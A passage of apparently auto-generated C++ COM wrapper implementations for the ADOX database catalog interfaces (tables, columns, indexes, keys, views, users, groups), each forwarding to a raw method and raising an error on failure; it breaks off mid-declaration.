_com_issue_errorex(_hr, this, __uuidof(this)); 31 | return _hr; 32 | } 33 | 34 | // 35 | // interface _DynaCollection wrapper method implementations 36 | // 37 | 38 | inline HRESULT _DynaCollection::Append ( IDispatch * Object ) { 39 | HRESULT _hr = raw_Append(Object); 40 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 41 | return _hr; 42 | } 43 | 44 | inline HRESULT _DynaCollection::Delete ( const _variant_t & Item ) { 45 | HRESULT _hr = raw_Delete(Item); 46 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 47 | return _hr; 48 | } 49 | 50 | // 51 | // interface Tables wrapper method implementations 52 | // 53 | 54 | inline _TablePtr Tables::GetItem ( const _variant_t & Item ) { 55 | struct _Table * _result = 0; 56 | HRESULT _hr = get_Item(Item, &_result); 57 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 58 | return _TablePtr(_result, false); 59 | } 60 | 61 | inline HRESULT Tables::Append ( const _variant_t & Item ) { 62 | HRESULT _hr = raw_Append(Item); 63 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 64 | return _hr; 65 | } 66 | 67 | inline HRESULT Tables::Delete ( const _variant_t & Item ) { 68 | HRESULT _hr = raw_Delete(Item); 69 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 70 | return _hr; 71 | } 72 | 73 | // 74 | // interface Columns wrapper method implementations 75 | // 76 | 77 | inline _ColumnPtr Columns::GetItem ( const _variant_t & Item ) { 78 | struct _Column * _result = 0; 79 | HRESULT _hr = get_Item(Item, &_result); 80 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 81 | return _ColumnPtr(_result, false); 82 | } 83 | 84 | inline HRESULT Columns::Append ( const _variant_t & Item, enum DataTypeEnum Type, long DefinedSize ) { 85 | HRESULT _hr = raw_Append(Item, Type, DefinedSize); 86 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 87 | return _hr; 88 | } 89 | 90 | inline HRESULT Columns::Delete ( const _variant_t & Item ) { 91 | HRESULT _hr = raw_Delete(Item); 92 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 93 | return _hr; 94 | } 95 | 96 | // 97 | // interface Property wrapper method implementations 98 | // 99 | 100 | inline _variant_t Property::GetValue ( ) { 101 | VARIANT _result; 102 | VariantInit(&_result); 103 | HRESULT _hr = get_Value(&_result); 104 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 105 | return _variant_t(_result, false); 106 | } 107 | 108 | inline void Property::PutValue ( const _variant_t & pVal ) { 109 | HRESULT _hr = put_Value(pVal); 110 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 111 | } 112 | 113 | inline _bstr_t Property::GetName ( ) { 114 | BSTR _result = 0; 115 | HRESULT _hr = get_Name(&_result); 116 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 117 | return _bstr_t(_result, false); 118 | } 119 | 120 | inline enum DataTypeEnum Property::GetType ( ) { 121 | enum DataTypeEnum _result; 122 | HRESULT _hr = get_Type(&_result); 123 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 124 | return _result; 125 | } 126 | 127 | inline long Property::GetAttributes ( ) { 128 | long _result = 0; 129 | HRESULT _hr = get_Attributes(&_result); 130 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 131 | return _result; 132 | } 133 | 134 | inline void Property::PutAttributes ( long plAttributes ) { 135 | HRESULT _hr = put_Attributes(plAttributes); 136 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 137 | } 138 | 139 | // 140 | // interface Properties wrapper method implementations 141 | // 142 | 143 | inline PropertyPtr Properties::GetItem ( const _variant_t & Item ) { 144 | struct Property * _result = 0; 145 | HRESULT _hr = get_Item(Item, &_result); 146 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 147 | return PropertyPtr(_result, false); 148 | } 149 | 150 | // 151 | // interface Indexes wrapper method implementations 152 | // 153 | 154 | inline _IndexPtr Indexes::GetItem ( const _variant_t & Item ) { 155 | struct _Index * _result = 0; 156 | HRESULT _hr = get_Item(Item, &_result); 157 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 158 | return _IndexPtr(_result, false); 159 | } 160 | 161 | inline HRESULT Indexes::Append ( const _variant_t & Item, const _variant_t & Columns ) { 162 | HRESULT _hr = raw_Append(Item, Columns); 163 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 164 | return _hr; 165 | } 166 | 167 | inline HRESULT Indexes::Delete ( const _variant_t & Item ) { 168 | HRESULT _hr = raw_Delete(Item); 169 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 170 | return _hr; 171 | } 172 | 173 | // 174 | // interface _Index wrapper method implementations 175 | // 176 | 177 | inline _bstr_t _Index::GetName ( ) { 178 | BSTR _result = 0; 179 | HRESULT _hr = get_Name(&_result); 180 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 181 | return _bstr_t(_result, false); 182 | } 183 | 184 | inline void _Index::PutName ( _bstr_t pVal ) { 185 | HRESULT _hr = put_Name(pVal); 186 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 187 | } 188 | 189 | inline VARIANT_BOOL _Index::GetClustered ( ) { 190 | VARIANT_BOOL _result = 0; 191 | HRESULT _hr = get_Clustered(&_result); 192 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 193 | return _result; 194 | } 195 | 196 | inline void _Index::PutClustered ( VARIANT_BOOL pVal ) { 197 | HRESULT _hr = put_Clustered(pVal); 198 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 199 | } 200 | 201 | inline enum AllowNullsEnum _Index::GetIndexNulls ( ) { 202 | enum AllowNullsEnum _result; 203 | HRESULT _hr = get_IndexNulls(&_result); 204 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 205 | return _result; 206 | } 207 | 208 | inline void _Index::PutIndexNulls ( enum AllowNullsEnum pVal ) { 209 | HRESULT _hr = put_IndexNulls(pVal); 210 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 211 | } 212 | 213 | inline VARIANT_BOOL _Index::GetPrimaryKey ( ) { 214 | VARIANT_BOOL _result = 0; 215 | HRESULT _hr = get_PrimaryKey(&_result); 216 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 217 | return _result; 218 | } 219 | 220 | inline void _Index::PutPrimaryKey ( VARIANT_BOOL pVal ) { 221 | HRESULT _hr = put_PrimaryKey(pVal); 222 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 223 | } 224 | 225 | inline VARIANT_BOOL _Index::GetUnique ( ) { 226 | VARIANT_BOOL _result = 0; 227 | HRESULT _hr = get_Unique(&_result); 228 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 229 | return _result; 230 | } 231 | 232 | inline void _Index::PutUnique ( VARIANT_BOOL pVal ) { 233 | HRESULT _hr = put_Unique(pVal); 234 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 235 | } 236 | 237 | inline ColumnsPtr _Index::GetColumns ( ) { 238 | struct Columns * _result = 0; 239 | HRESULT _hr = get_Columns(&_result); 240 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 241 | return ColumnsPtr(_result, false); 242 | } 243 | 244 | inline PropertiesPtr _Index::GetProperties ( ) { 245 | struct Properties * _result = 0; 246 | HRESULT _hr = get_Properties(&_result); 247 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 248 | return PropertiesPtr(_result, false); 249 | } 250 | 251 | // 252 | // interface Keys wrapper method implementations 253 | // 254 | 255 | inline _KeyPtr Keys::GetItem ( const _variant_t & Item ) { 256 | struct _Key * _result = 0; 257 | HRESULT _hr = get_Item(Item, &_result); 258 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 259 | return _KeyPtr(_result, false); 260 | } 261 | 262 | inline HRESULT Keys::Append ( const _variant_t & Item, enum KeyTypeEnum Type, const _variant_t & Column, _bstr_t RelatedTable, _bstr_t RelatedColumn ) { 263 | HRESULT _hr = raw_Append(Item, Type, Column, RelatedTable, RelatedColumn); 264 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 265 | return _hr; 266 | } 267 | 268 | inline HRESULT Keys::Delete ( const _variant_t & Item ) { 269 | HRESULT _hr = raw_Delete(Item); 270 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 271 | return _hr; 272 | } 273 | 274 | // 275 | // interface _Key wrapper method implementations 276 | // 277 | 278 | inline _bstr_t _Key::GetName ( ) { 279 | BSTR _result = 0; 280 | HRESULT _hr = get_Name(&_result); 281 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 282 | return _bstr_t(_result, false); 283 | } 284 | 285 | inline void _Key::PutName ( _bstr_t pVal ) { 286 | HRESULT _hr = put_Name(pVal); 287 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 288 | } 289 | 290 | inline enum RuleEnum _Key::GetDeleteRule ( ) { 291 | enum RuleEnum _result; 292 | HRESULT _hr = get_DeleteRule(&_result); 293 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 294 | return _result; 295 | } 296 | 297 | inline void _Key::PutDeleteRule ( enum RuleEnum pVal ) { 298 | HRESULT _hr = put_DeleteRule(pVal); 299 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 300 | } 301 | 302 | inline enum KeyTypeEnum _Key::GetType ( ) { 303 | enum KeyTypeEnum _result; 304 | HRESULT _hr = get_Type(&_result); 305 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 306 | return _result; 307 | } 308 | 309 | inline void _Key::PutType ( enum KeyTypeEnum pVal ) { 310 | HRESULT _hr = put_Type(pVal); 311 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 312 | } 313 | 314 | inline _bstr_t _Key::GetRelatedTable ( ) { 315 | BSTR _result = 0; 316 | HRESULT _hr = get_RelatedTable(&_result); 317 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 318 | return _bstr_t(_result, false); 319 | } 320 | 321 | inline void _Key::PutRelatedTable ( _bstr_t pVal ) { 322 | HRESULT _hr = put_RelatedTable(pVal); 323 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 324 | } 325 | 326 | inline enum RuleEnum _Key::GetUpdateRule ( ) { 327 | enum RuleEnum _result; 328 | HRESULT _hr = get_UpdateRule(&_result); 329 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 330 | return _result; 331 | } 332 | 333 | inline void _Key::PutUpdateRule ( enum RuleEnum pVal ) { 334 | HRESULT _hr = put_UpdateRule(pVal); 335 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 336 | } 337 | 338 | inline ColumnsPtr _Key::GetColumns ( ) { 339 | struct Columns * _result = 0; 340 | HRESULT _hr = get_Columns(&_result); 341 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 342 | return ColumnsPtr(_result, false); 343 | } 344 | 345 | // 346 | // interface Procedure wrapper method implementations 347 | // 348 | 349 | inline _variant_t Procedure::GetCommand ( ) { 350 | VARIANT _result; 351 | VariantInit(&_result); 352 | HRESULT _hr = get_Command(&_result); 353 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 354 | return _variant_t(_result, false); 355 | } 356 | 357 | inline void Procedure::PutCommand ( const _variant_t & pVar ) { 358 | HRESULT _hr = put_Command(pVar); 359 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 360 | } 361 | 362 | inline void Procedure::PutRefCommand ( IDispatch * pVar ) { 363 | HRESULT _hr = putref_Command(pVar); 364 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 365 | } 366 | 367 | inline _bstr_t Procedure::GetName ( ) { 368 | BSTR _result = 0; 369 | HRESULT _hr = get_Name(&_result); 370 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 371 | return _bstr_t(_result, false); 372 | } 373 | 374 | inline _variant_t Procedure::GetDateCreated ( ) { 375 | VARIANT _result; 376 | VariantInit(&_result); 377 | HRESULT _hr = get_DateCreated(&_result); 378 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 379 | return _variant_t(_result, false); 380 | } 381 | 382 | inline _variant_t Procedure::GetDateModified ( ) { 383 | VARIANT _result; 384 | VariantInit(&_result); 385 | HRESULT _hr = get_DateModified(&_result); 386 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 387 | return _variant_t(_result, false); 388 | } 389 | 390 | // 391 | // interface Procedures wrapper method implementations 392 | // 393 | 394 | inline ProcedurePtr Procedures::GetItem ( const _variant_t & Item ) { 395 | struct Procedure * _result = 0; 396 | HRESULT _hr = get_Item(Item, &_result); 397 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 398 | return ProcedurePtr(_result, false); 399 | } 400 | 401 | inline HRESULT Procedures::Append ( _bstr_t Name, IDispatch * Command ) { 402 | HRESULT _hr = raw_Append(Name, Command); 403 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 404 | return _hr; 405 | } 406 | 407 | inline HRESULT Procedures::Delete ( const _variant_t & Item ) { 408 | HRESULT _hr = raw_Delete(Item); 409 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 410 | return _hr; 411 | } 412 | 413 | // 414 | // interface View wrapper method implementations 415 | // 416 | 417 | inline _variant_t View::GetCommand ( ) { 418 | VARIANT _result; 419 | VariantInit(&_result); 420 | HRESULT _hr = get_Command(&_result); 421 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 422 | return _variant_t(_result, false); 423 | } 424 | 425 | inline void View::PutCommand ( const _variant_t & pVal ) { 426 | HRESULT _hr = put_Command(pVal); 427 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 428 | } 429 | 430 | inline void View::PutRefCommand ( IDispatch * pVal ) { 431 | HRESULT _hr = putref_Command(pVal); 432 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 433 | } 434 | 435 | inline _bstr_t View::GetName ( ) { 436 | BSTR _result = 0; 437 | HRESULT _hr = get_Name(&_result); 438 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 439 | return _bstr_t(_result, false); 440 | } 441 | 442 | inline _variant_t View::GetDateCreated ( ) { 443 | VARIANT _result; 444 | VariantInit(&_result); 445 | HRESULT _hr = get_DateCreated(&_result); 446 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 447 | return _variant_t(_result, false); 448 | } 449 | 450 | inline _variant_t View::GetDateModified ( ) { 451 | VARIANT _result; 452 | VariantInit(&_result); 453 | HRESULT _hr = get_DateModified(&_result); 454 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 455 | return _variant_t(_result, false); 456 | } 457 | 458 | // 459 | // interface Views wrapper method implementations 460 | // 461 | 462 | inline ViewPtr Views::GetItem ( const _variant_t & Item ) { 463 | struct View * _result = 0; 464 | HRESULT _hr = get_Item(Item, &_result); 465 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 466 | return ViewPtr(_result, false); 467 | } 468 | 469 | inline HRESULT Views::Append ( _bstr_t Name, IDispatch * Command ) { 470 | HRESULT _hr = raw_Append(Name, Command); 471 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 472 | return _hr; 473 | } 474 | 475 | inline HRESULT Views::Delete ( const _variant_t & Item ) { 476 | HRESULT _hr = raw_Delete(Item); 477 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 478 | return _hr; 479 | } 480 | 481 | // 482 | // interface Groups wrapper method implementations 483 | // 484 | 485 | inline _GroupPtr Groups::GetItem ( const _variant_t & Item ) { 486 | struct _Group * _result = 0; 487 | HRESULT _hr = get_Item(Item, &_result); 488 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 489 | return _GroupPtr(_result, false); 490 | } 491 | 492 | inline HRESULT Groups::Append ( const _variant_t & Item ) { 493 | HRESULT _hr = raw_Append(Item); 494 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 495 | return _hr; 496 | } 497 | 498 | inline HRESULT Groups::Delete ( const _variant_t & Item ) { 499 | HRESULT _hr = raw_Delete(Item); 500 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 501 | return _hr; 502 | } 503 | 504 | // 505 | // interface Users wrapper method implementations 506 | // 507 | 508 | inline _UserPtr Users::GetItem ( const _variant_t & Item ) { 509 | struct _User * _result = 0; 510 | HRESULT _hr = get_Item(Item, &_result); 511 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 512 | return _UserPtr(_result, false); 513 | } 514 | 515 | inline HRESULT Users::Append ( const _variant_t & Item, _bstr_t Password ) { 516 | HRESULT _hr = raw_Append(Item, Password); 517 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 518 | return _hr; 519 | } 520 | 521 | inline HRESULT Users::Delete ( const _variant_t & Item ) { 522 | HRESULT _hr = raw_Delete(Item); 523 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 524 | return _hr; 525 | } 526 | 527 | // 528 | // interface _Catalog wrapper method implementations 529 | // 530 | 531 | inline TablesPtr _Catalog::GetTables ( ) { 532 | struct Tables * _result = 0; 533 | HRESULT _hr = get_Tables(&_result); 534 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 535 | return TablesPtr(_result, false); 536 | } 537 | 538 | inline _variant_t _Catalog::GetActiveConnection ( ) { 539 | VARIANT _result; 540 | VariantInit(&_result); 541 | HRESULT _hr = get_ActiveConnection(&_result); 542 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 543 | return _variant_t(_result, false); 544 | } 545 | 546 | inline void _Catalog::PutActiveConnection ( const _variant_t & pVal ) { 547 | HRESULT _hr = put_ActiveConnection(pVal); 548 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 549 | } 550 | 551 | inline void _Catalog::PutRefActiveConnection ( IDispatch * pVal ) { 552 | HRESULT _hr = putref_ActiveConnection(pVal); 553 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 554 | } 555 | 556 | inline ProceduresPtr _Catalog::GetProcedures ( ) { 557 | struct Procedures * _result = 0; 558 | HRESULT _hr = get_Procedures(&_result); 559 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 560 | return ProceduresPtr(_result, false); 561 | } 562 | 563 | inline ViewsPtr _Catalog::GetViews ( ) { 564 | struct Views * _result = 0; 565 | HRESULT _hr = get_Views(&_result); 566 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 567 | return ViewsPtr(_result, false); 568 | } 569 | 570 | inline GroupsPtr _Catalog::GetGroups ( ) { 571 | struct Groups * _result = 0; 572 | HRESULT _hr = get_Groups(&_result); 573 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 574 | return GroupsPtr(_result, false); 575 | } 576 | 577 | inline UsersPtr _Catalog::GetUsers ( ) { 578 | struct Users * _result = 0; 579 | HRESULT _hr = get_Users(&_result); 580 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 581 | return UsersPtr(_result, false); 582 | } 583 | 584 | inline _variant_t _Catalog::Create ( _bstr_t ConnectString ) { 585 | VARIANT _result; 586 | VariantInit(&_result); 587 | HRESULT _hr = raw_Create(ConnectString, &_result); 588 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 589 | return _variant_t(_result, false); 590 | } 591 | 592 | inline _bstr_t _Catalog::GetObjectOwner ( _bstr_t ObjectName, enum ObjectTypeEnum ObjectType, const _variant_t & ObjectTypeId ) { 593 | BSTR _result = 0; 594 | HRESULT _hr = raw_GetObjectOwner(ObjectName, ObjectType, ObjectTypeId, &_result); 595 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 596 | return _bstr_t(_result, false); 597 | } 598 | 599 | inline HRESULT _Catalog::SetObjectOwner ( _bstr_t ObjectName, enum ObjectTypeEnum ObjectType, _bstr_t UserName, const _variant_t & ObjectTypeId ) { 600 | HRESULT _hr = raw_SetObjectOwner(ObjectName, ObjectType, UserName, ObjectTypeId); 601 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 602 | return _hr; 603 | } 604 | 605 | // 606 | // interface _Table wrapper method implementations 607 | // 608 | 609 | inline ColumnsPtr _Table::GetColumns ( ) { 610 | struct Columns * _result = 0; 611 | HRESULT _hr = get_Columns(&_result); 612 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 613 | return ColumnsPtr(_result, false); 614 | } 615 | 616 | inline _bstr_t _Table::GetName ( ) { 617 | BSTR _result = 0; 618 | HRESULT _hr = get_Name(&_result); 619 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 620 | return _bstr_t(_result, false); 621 | } 622 | 623 | inline void _Table::PutName ( _bstr_t pVal ) { 624 | HRESULT _hr = put_Name(pVal); 625 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 626 | } 627 | 628 | inline _bstr_t _Table::GetType ( ) { 629 | BSTR _result = 0; 630 | HRESULT _hr = get_Type(&_result); 631 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 632 | return _bstr_t(_result, false); 633 | } 634 | 635 | inline IndexesPtr _Table::GetIndexes ( ) { 636 | struct Indexes * _result = 0; 637 | HRESULT _hr = get_Indexes(&_result); 638 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 639 | return IndexesPtr(_result, false); 640 | } 641 | 642 | inline KeysPtr _Table::GetKeys ( ) { 643 | struct Keys * _result = 0; 644 | HRESULT _hr = get_Keys(&_result); 645 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 646 | return KeysPtr(_result, false); 647 | } 648 | 649 | inline PropertiesPtr _Table::GetProperties ( ) { 650 | struct Properties * _result = 0; 651 | HRESULT _hr = get_Properties(&_result); 652 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 653 | return PropertiesPtr(_result, false); 654 | } 655 | 656 | inline _variant_t _Table::GetDateCreated ( ) { 657 | VARIANT _result; 658 | VariantInit(&_result); 659 | HRESULT _hr = get_DateCreated(&_result); 660 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 661 | return _variant_t(_result, false); 662 | } 663 | 664 | inline _variant_t _Table::GetDateModified ( ) { 665 | VARIANT _result; 666 | VariantInit(&_result); 667 | HRESULT _hr = get_DateModified(&_result); 668 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 669 | return _variant_t(_result, false); 670 | } 671 | 672 | inline _CatalogPtr _Table::GetParentCatalog ( ) { 673 | struct _Catalog * _result = 0; 674 | HRESULT _hr = get_ParentCatalog(&_result); 675 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 676 | return _CatalogPtr(_result, false); 677 | } 678 | 679 | inline void _Table::PutParentCatalog ( struct _Catalog * ppvObject ) { 680 | HRESULT _hr = put_ParentCatalog(ppvObject); 681 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 682 | } 683 | 684 | inline void _Table::PutRefParentCatalog ( struct _Catalog * ppvObject ) { 685 | HRESULT _hr = putref_ParentCatalog(ppvObject); 686 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 687 | } 688 | 689 | // 690 | // interface _Column wrapper method implementations 691 | // 692 | 693 | inline _bstr_t _Column::GetName ( ) { 694 | BSTR _result = 0; 695 | HRESULT _hr = get_Name(&_result); 696 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 697 | return _bstr_t(_result, false); 698 | } 699 | 700 | inline void _Column::PutName ( _bstr_t pVal ) { 701 | HRESULT _hr = put_Name(pVal); 702 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 703 | } 704 | 705 | inline enum ColumnAttributesEnum _Column::GetAttributes ( ) { 706 | enum ColumnAttributesEnum _result; 707 | HRESULT _hr = get_Attributes(&_result); 708 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 709 | return _result; 710 | } 711 | 712 | inline void _Column::PutAttributes ( enum ColumnAttributesEnum pVal ) { 713 | HRESULT _hr = put_Attributes(pVal); 714 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 715 | } 716 | 717 | inline long _Column::GetDefinedSize ( ) { 718 | long _result = 0; 719 | HRESULT _hr = get_DefinedSize(&_result); 720 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 721 | return _result; 722 | } 723 | 724 | inline void _Column::PutDefinedSize ( long pVal ) { 725 | HRESULT _hr = put_DefinedSize(pVal); 726 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 727 | } 728 | 729 | inline unsigned char _Column::GetNumericScale ( ) { 730 | unsigned char _result = 0; 731 | HRESULT _hr = get_NumericScale(&_result); 732 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 733 | return _result; 734 | } 735 | 736 | inline void _Column::PutNumericScale ( unsigned char pVal ) { 737 | HRESULT _hr = put_NumericScale(pVal); 738 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 739 | } 740 | 741 | inline long _Column::GetPrecision ( ) { 742 | long _result = 0; 743 | HRESULT _hr = get_Precision(&_result); 744 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 745 | return _result; 746 | } 747 | 748 | inline void _Column::PutPrecision ( long pVal ) { 749 | HRESULT _hr = put_Precision(pVal); 750 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 751 | } 752 | 753 | inline _bstr_t _Column::GetRelatedColumn ( ) { 754 | BSTR _result = 0; 755 | HRESULT _hr = get_RelatedColumn(&_result); 756 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 757 | return _bstr_t(_result, false); 758 | } 759 | 760 | inline void _Column::PutRelatedColumn ( _bstr_t pVal ) { 761 | HRESULT _hr = put_RelatedColumn(pVal); 762 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 763 | } 764 | 765 | inline enum SortOrderEnum _Column::GetSortOrder ( ) { 766 | enum SortOrderEnum _result; 767 | HRESULT _hr = get_SortOrder(&_result); 768 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 769 | return _result; 770 | } 771 | 772 | inline void _Column::PutSortOrder ( enum SortOrderEnum pVal ) { 773 | HRESULT _hr = put_SortOrder(pVal); 774 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 775 | } 776 | 777 | inline enum DataTypeEnum _Column::GetType ( ) { 778 | enum DataTypeEnum _result; 779 | HRESULT _hr = get_Type(&_result); 780 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 781 | return _result; 782 | } 783 | 784 | inline void _Column::PutType ( enum DataTypeEnum pVal ) { 785 | HRESULT _hr = put_Type(pVal); 786 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 787 | } 788 | 789 | inline PropertiesPtr _Column::GetProperties ( ) { 790 | struct Properties * _result = 0; 791 | HRESULT _hr = get_Properties(&_result); 792 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 793 | return PropertiesPtr(_result, false); 794 | } 795 | 796 | inline _CatalogPtr _Column::GetParentCatalog ( ) { 797 | struct _Catalog * _result = 0; 798 | HRESULT _hr = get_ParentCatalog(&_result); 799 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 800 | return _CatalogPtr(_result, false); 801 | } 802 | 803 | inline void _Column::PutParentCatalog ( struct _Catalog * ppvObject ) { 804 | HRESULT _hr = put_ParentCatalog(ppvObject); 805 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 806 | } 807 | 808 | inline void _Column::PutRefParentCatalog ( struct _Catalog * ppvObject ) { 809 | HRESULT _hr = putref_ParentCatalog(ppvObject); 810 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 811 | } 812 | 813 | // 814 | // interface _Group25 wrapper method implementations 815 | // 816 | 817 | inline _bstr_t _Group25::GetName ( ) { 818 | BSTR _result = 0; 819 | HRESULT _hr = get_Name(&_result); 820 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 821 | return _bstr_t(_result, false); 822 | } 823 | 824 | inline void _Group25::PutName ( _bstr_t pVal ) { 825 | HRESULT _hr = put_Name(pVal); 826 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 827 | } 828 | 829 | inline enum RightsEnum _Group25::GetPermissions ( const _variant_t & Name, enum ObjectTypeEnum ObjectType, const 